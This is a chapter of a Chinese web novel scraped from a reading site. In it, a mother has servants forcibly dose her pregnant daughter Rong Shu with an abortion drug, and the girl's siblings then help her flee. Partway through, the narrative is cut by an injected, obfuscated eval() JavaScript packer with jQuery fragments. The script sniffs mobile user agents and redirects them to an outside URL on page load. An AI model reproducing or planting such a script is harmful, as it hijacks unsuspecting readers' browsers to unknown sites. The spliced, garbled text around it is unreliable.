默认冷灰
24号文字
方正启体

24. 灌药

作者:莲池沐客本书字数:K更新时间:
    等待宣判的日子很煎熬,容姝日日困在一方小院里,焦急地等待着容家最终态度。


    因着有身孕,伊水院饭食倒是比以前好了不少,多了荤腥不说,一日三餐正常供应,还有她爱吃的点心。


    这让容姝以为,容家态度有所松动,已经接受了她有身孕这个事实,也在接受这个“来历不明”的孩子。


    这日,风兰端进来一碗桂花汤圆,桂花清香,汤圆饱满,看起来就很好吃。


    “二娘子,这是上个月现采的桂花,晒了好些日子,再配上这芝麻汤圆,吃起来最是香甜弹口,你快过来尝尝吧。”


    “好。”容姝从小榻上起身,她近来无所事事,反而觉得身子有些疲倦,白日里大多时间都靠在小榻上休息。


    “嗯,清香软糯,确实美味,你去大厨房要的?”容姝咬开一只肥润的汤圆,饱满芝麻馅立即流了出来,香气四溢。


    “是夫人亲自令大厨房备的,让我趁热给你端来。”


    容姝手下一顿,骆静华何曾对她如此热拢过,还如此关心她的吃食,从前恨不得她一口不吃,瘦得弱柳扶风才好。


    “嗯,知晓了,替我谢谢母亲的好意。”


    容姝打发走风兰,便没再吃那碗桂花汤圆,又躺回小榻上,随便拿了本书看,打发时间。


    日暮时分,她的肚子开始隐隐作痛,随后越来越痛。


    容姝起身走到门边,想唤人进来,岂料屋门被从外面上了锁。


    “风兰!风兰!”她拍着门喊。


    连连数声,无一人应答,容姝瞬间背脊发凉,一股不好的预感爬上心头。


    她攥着肚子,面色痛得发白。


    视线扫到桌上那碗汤圆,她立马扣着嗓子呕吐,将吃下的一粒汤圆和中午饭食都呕了出来。


    她坐到凳上,捏着桌沿沉沉缓气,豆大的泪珠从眼眶滑落,原本白皙的脸盘折腾得通红。


    “为什么……”


    为什么要对她的孩子下手,为什么这个家里从来没人尊重过自己的意愿……


    连绵不断的泪水打到藕色锦布上,晕出团团水渍,像是一摊倍受风雨欺凌的清霜莲叶,摧筋断骨,满池瑟瑟。


    容姝哭了好些时候,待痛意消散,她才起身,拧了张湿帕子,将自己的脸擦干净。


    理好衣裳,一声不吭地坐到榻上,安然等待下一场风暴。


    酉时末左右,阖府上下都已经用过晚膳,闲杂事务也已经打理好,正是睡前消食的好时候。


    窸窣动静,门锁被打开。


    屋外天幕灰暗,星月不明,昏黄的檐灯折出一片暗沉的朦胧雾光,像是死神降临前的血色静谧。


    “点灯。”来人吩咐左右,屋内昏暗散去。


    容姝宛如坐化的神钟,一动不动地坐在那,神色怆然,眼神麻木,觉察不出一丝活气。


    一婆子过去,捏起她的手腕仔细摸索,“夫人,还在。”


    骆静华瞟到桌上没怎么动的桂花汤圆,眉头一皱,“这是我亲手摘的桂花,晒了好些时日,我记得你甚是喜爱桂花,为何不吃?”


    容姝掀眸,面无表情道:“母亲记错了,喜欢桂花的是长姐。”


    骆静华没接话,走到桌边端起那碗桂花汤圆递给容姝:“莫要糊涂,吃了它。”


    “秋日天寒,女儿吃不了凉食。”


    “好,我给你换热的。”


    骆静华冲身后汤姑使了个眼色,汤姑有些踟蹰,支吾道:“夫人,当真要如此吗?”


    骆静华点头。


    一会儿功夫,一碗热气腾腾的褐色汤汁摆到容姝面前,“喝了它,从前的事既往不咎,你依旧是威宁侯府嫡出的二娘子。”


    容姝盯着骆静华的眼睛,乞求道:“母亲,你能让我自己做一次决定吗?我只想留下这个孩子,其他的事都可以听你的。”


    “你若执意要生下这个孩子,那我要你还有何用!喝了它,不然休怪我无情。”


    容姝眼睫垂下,手指扣紧身下褥垫,“我一直都知道,母亲倾注这么多精力在我身上只是为了让我嫁入高门,成为一个对母亲、对容家有用的人,可惜我让母亲失望了。”


    “现下这个孩子毁了你们一切希望,所以你们迫不及待想杀了他。可是,他是一条生命,是我下定决心不愿剥舍的骨肉至亲,母亲若想我死,只管动手。”


    “你以为说几句不咸不淡的话,我就会高抬贵手吗?你太天真了,你现在就是一头不知天高地厚的倔驴,我必须得及时将你拉入正轨。”骆静华眸光坚定,不容置疑。


    “所谓正途是指落胎之后,再嫁高门为奴为妾吗?”容姝冷嗤。


    “你们要的这些我统统做不到,今日要不将我一起杀了,要不放我走,从此山高水远绝不再丢你容家颜面。”


    闻言,骆静华气极,目眦尽裂地指着她:“按住她,动手!”


    几个婆子得令,一拥而上,将容姝四肢按住,有人端着汤药,有人捏着她的嘴,准备强行灌药。


    容姝奋力挣扎,尖叫着喊:“滚开!都滚开!”


    孩子跟了她四个多月,早已血脉相连,成为了她不可分割的一部分。她现在每日能清晰地感知他的存在,会念书给他听,会同他说说话,会悄悄告诉他,他有个学富五车的神仙父亲。


    他怎么可以被剥夺生命?!


    容姝挣扎得厉害,一头撞翻了汤药,温热汤汁悉数泼进她衣襟,脖颈间、胸前晕了一团浓褐色,扑鼻的苦涩味令人作呕。


    “你以为撒了这碗就没有下一碗了吗?汤姑,去将余下的都端来,我看她能犟到几时。”


    片刻后,又一碗汤药端了来。


    婆子们学聪明了,一人将容姝的反剪在身后,一人摁住她双腿,再有一个人捏开她的嘴往里面灌药。


    容姝唇腔被苦涩占领,浓浓汤汁往喉间翻涌,她痛苦得抵舌对抗着,一滴也不敢吞咽下去。


    那灌药的婆子看出她的小心思,径直挥手拍在她背上,骤然一下,容姝忍不住一哆嗦,将那汤汁咽了下去。


    容姝绝望地闭上了眼睛,眼尾的泪水像断了线,不停滚动,身子忍不住抽搐一团。


    “住手——”


    门外一声高喊,盛着少年的无限怒气。


    容昭夺门而入,几脚踹飞害人婆子,一把搂住摇摇欲坠、破碎不堪的容姝。


    “容姝!容姝!你没事吧?”他拍着她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058367|194932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面如死灰的脸。


    怀中人只默默闭着眼流泪,鼻子抽得通红,一句话不说。


    容昭将容姝扶起,大力拍着她背脊,甚至将手伸进她唇腔内,“快吐出来,小爷我答应帮你养了。”


    骆静华厉声喝:“容昭,你这是在害她你知道吗?”


    “夫人要是没事闲得慌不如回去抄抄佛经,尽干些伤天害理、杀人灭口的事!”


    “你,你这个竖子!”


    “我还轮不到夫人来管教,夫人请回吧,免得闹得大家都难堪。”


    容家现在是孟丽桥掌家,骆静华处处受制,和容启真的关系也不好,她现下唯一能掌控的就是自己的女儿,其他的事都做不了主。


    在容昭的手段下,容姝总算是吐了些出来。


    骆静华走之前撂下话:“别白费力气了,这副落胎药用了十足的猛药,那小孽障必死无疑。”


    容姝面色苍白、四肢乏力地倒在容昭怀里,她睁开死寂无光的眸子,拽着容昭的袖口道:“昭弟,带我走,我要离开这里,离开这……”


    “好。”容昭一把背起她。


    门口昏暗的檐下,不知何时站在那里的容玥出声拦住二人,“等等。”


    “长姐有事?”容昭口气算不上客气,二人素来没什么交集。


    “你们现在这样是出不去的,跟我来。”容玥示意他跟上。


    “长姐是何意,我凭什么相信你?”


    “你自然可以不信,但她等不及了。”容玥视线挪到昏在容昭肩上的容姝。


    “你明明就在外面,刚才为何不制止?”


    “我连自己的命都管不了,如何管别人,况且这件事……走吧,别再耽搁。”


    俩人趁着夜色,偷摸之间成功将容姝送出府去,容玥将容姝扶进邻街某处小院,里头有辆马车。


    “里面有备好的衣裳和银钱,车夫会带她去医馆,我们先回去吧。”


    “不,我要陪容姝一起离家出走。”容昭赖在车边不肯走。


    “如果你不想容姝顺利逃走的话也可以。”


    “长姐,你为什么这么做?”从前也没看出来她俩的关系又多好,大多时候容玥都是肃着张脸在教训容姝。


    容玥反问:“那你又为何要这么做?”


    容玥自然不会告诉他,她无意中听到了容启真和骆静华商量着给容姝强行落胎的事,这件事若无容启真的授意,骆静华又如何能下死手。


    到底是亲眼看着长大的妹妹,她想帮她一次,无论能不能留住孩子,能摆脱容家的桎梏也是好的。


    容姝心中一涩,掀开疲累的眼皮,声音沙哑道:“多谢长姐和昭弟,今日一别,山高水阔,我会念着你们的。”


    容玥:“自行保重。”


    容昭:“先找个地方躲起来,小爷我得空了就去看你。”


    “知晓了,快回去吧。”


    二人走后,容姝头埋膝间,大声哭了出来,身子随着行驰的车辙,一抖一抖地。


    “小娘子,要去哪里?”


    “去谢府,西三街。”


    她捂着肚子,她现在迫不及待地想要见他,想扑在他怀里,求他救救他们的孩子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)